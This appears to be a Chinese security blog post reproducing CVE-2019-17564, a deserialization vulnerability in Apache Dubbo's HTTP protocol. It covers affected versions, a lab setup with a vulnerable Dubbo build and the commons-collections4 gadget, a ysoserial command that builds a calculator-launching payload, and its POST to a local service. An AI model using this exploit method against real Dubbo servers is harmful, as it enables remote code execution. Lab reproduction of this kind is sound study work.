Dubbo反序列化漏洞复现分析

  • A+
所属分类:安全文章





1.Dubbo框架简介


Dubbo是⼀个⾼性能服务框架,致⼒于提供⾼性能和透明化的RPC远程服务调⽤⽅案,以及SOA服务治理⽅案,使得应⽤可通过⾼性能RPC实现服务的输出和输⼊功能,和Spring框架可以⽆缝集成。
作为⼀个分布式服务框架,以及SOA治理⽅案,Dubbo其功能主要包括:
1.⾼性能NIO通讯及多协议集
2.成服务动态寻址与路由
3.软负载均衡与容错
4.依赖分析与服务降级
具体看这篇⽂章:https://www.jianshu.com/p/0daf78e14dcf

 




2.CVE-2019-17564



1.漏洞简介

Apache Dubbo⽀持多种协议,推荐官⽅使⽤Dubbo协议。Apache Dubbo HTTP协议中的⼀个反序

列化漏洞(CVE-2019-17564),漏洞该主要原因的在于当Apache Dubbo启⽤HTTP协议之后,Apache Dubbo对HTTP数据处理不当:对数据编码、序列化、反序列化,利⽤Spring HTTP Invoker框架处理,未经任何检查直接反序列化数据,当项⽬包中存在可⽤的gadgets时即可导致远程代码执⾏。


2.影响范围

2.7.0 <= Apache Dubbo <= 2.7.4.1 

2.6.0 <= Apache Dubbo <= 2.6.7 

Apache Dubbo = 2.5.x


3.环境搭建

dubbo-demo:https://github.com/apache/dubbo-samples/tree/master/java/dubbo-samples-http ⽤idea打开后,需要修改pom.xml⽂件中的<dubbo.version>,将版本改为存在漏洞的2. 7. 3

Dubbo反序列化漏洞复现分析

  我们再往⾥⾯添加本地触发gadgets,这⾥导⼊commons-collections4-4.0恶意类依赖。

<dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId> <version>4.0</version></dependency> 

 

由于dubbo启动还依赖zookeeper,因此我们还需要安装zookeeper
https://apache.website-solution.net/zookeeper/zookeeper-3.6.2/apache-zookeeper-3.6.2-bin.tar.gz
运⾏zookeeper之前,我们还需要修改⼀些配置⽂件:
将zookeeper的conf⽬录下的zoo_sample.cfg⽂件改成zoo.cfg并修改其中的两个参数

Dubbo反序列化漏洞复现分析 

然后cdzookeeperbin⽬录下./zkServer.sstart 启动zookeeper 随后启动dubbo项⽬中的HttpProvider
出现下图红框中的提⽰,则证明环境搭建成功。

Dubbo反序列化漏洞复现分析

4.漏洞复现

我们⾸先⽤yso 来⽣成⼀个序列化的payload:

java-jarysoserial-0.0.6-SNAPSHOT-all.jarCommonsCollections4"deepin-calculator">/tmp/payload.ser

而后⽤postman

http://192.168.199.246:8090/org.apache.dubbo.samples.http.api.DemoService

POST我们⽣成的

payload.ser


Dubbo反序列化漏洞复现分析

本文始发于微信公众号(雷石安全实验室):Dubbo反序列化漏洞复现分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: